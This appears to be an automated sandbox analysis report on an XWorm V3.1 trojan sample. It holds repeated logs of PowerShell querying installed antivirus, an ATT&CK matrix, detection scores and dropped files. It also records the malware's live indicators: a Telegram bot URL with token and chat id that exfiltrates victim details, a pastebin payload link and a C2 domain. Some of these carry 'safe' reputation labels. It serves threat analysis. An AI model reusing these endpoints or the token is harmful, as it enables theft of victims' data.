Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	112 Scripting	Valid Accounts	1 Windows Management Instrumentation	112 Scripting	1 DLL Side-Loading	1 Obfuscated Files or Information	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	2 Web Service	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	2 Native API	1 DLL Side-Loading	1 Access Token Manipulation	1 Timestomp	LSASS Memory	2 File and Directory Discovery	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	21 Registry Run Keys / Startup Folder	11 Process Injection	1 DLL Side-Loading	Security Account Manager	17 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	21 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Command and Scripting Interpreter	Login Hook	21 Registry Run Keys / Startup Folder	1 Masquerading	NTDS	11 Security Software Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	3 PowerShell	Network Logon Script	Network Logon Script	21 Virtualization/Sandbox Evasion	LSA Secrets	1 Process Discovery	SSH	Keylogging	3 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Access Token Manipulation	Cached Domain Credentials	21 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Process Injection	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Rundll32	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	16%	ReversingLabs	Win64.Trojan.Alien
file.exe	16%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Roaming\Windows_Log_414.vbs	100%	Avira	BAT/Runner.OB
C:\Users\user\AppData\Roaming\powershell.exe	0%	ReversingLabs
C:\Users\user\AppData\Roaming\powershell.exe	0%	Virustotal		Browse

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
adsguarddns.redirectme.net	1%	Virustotal	Browse
api.telegram.org	2%	Virustotal	Browse
pastebin.com	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
https://aka.ms/winsvr-2022-pshelp	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
http://schemas.xmlsoap.org/soap/encoding/	0%	URL Reputation	safe
http://schemas.xmlsoap.org/soap/encoding/	0%	URL Reputation	safe
http://crl.microsoft	0%	URL Reputation	safe
http://schemas.xmlsoap.org/wsdl/	0%	URL Reputation	safe
http://schemas.xmlsoap.org/wsdl/	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://aka.ms/pscore68	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
http://www.apache.org/licenses/LICENSE-2.0.html	0%	Avira URL Cloud	safe
https://pastebin.com/raw/RC2EiWaF	0%	Avira URL Cloud	safe
https://api.telegram.org/bot7014340212:AAH7pEXbcp-rOhGS8YVjIHjg0C8qlSDZSI4/sendMessage?chat_id=-1002233278906&text=%E2%98%A0%20%5BXWorm%20V3.1%5D%0D%0A%0D%0ANew%20Clinet%20:%20%0D%0A318CC4CF7D59F1751A28%0D%0A%0D%0AUserName%20:%20user%0D%0AOSFullName%20:%20Microsoft%20Windows%2010%20Pro	0%	Avira URL Cloud	safe
https://github.com/Pester/Pester	0%	Avira URL Cloud	safe
http://www.apache.org/licenses/LICENSE-2.0.html	0%	Virustotal		Browse
https://github.com/Pester/Pester	1%	Virustotal		Browse
https://pastebin.com/raw/RC2EiWaF	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
adsguarddns.redirectme.net	94.141.120.29	true	true	1%, Virustotal, Browse	unknown
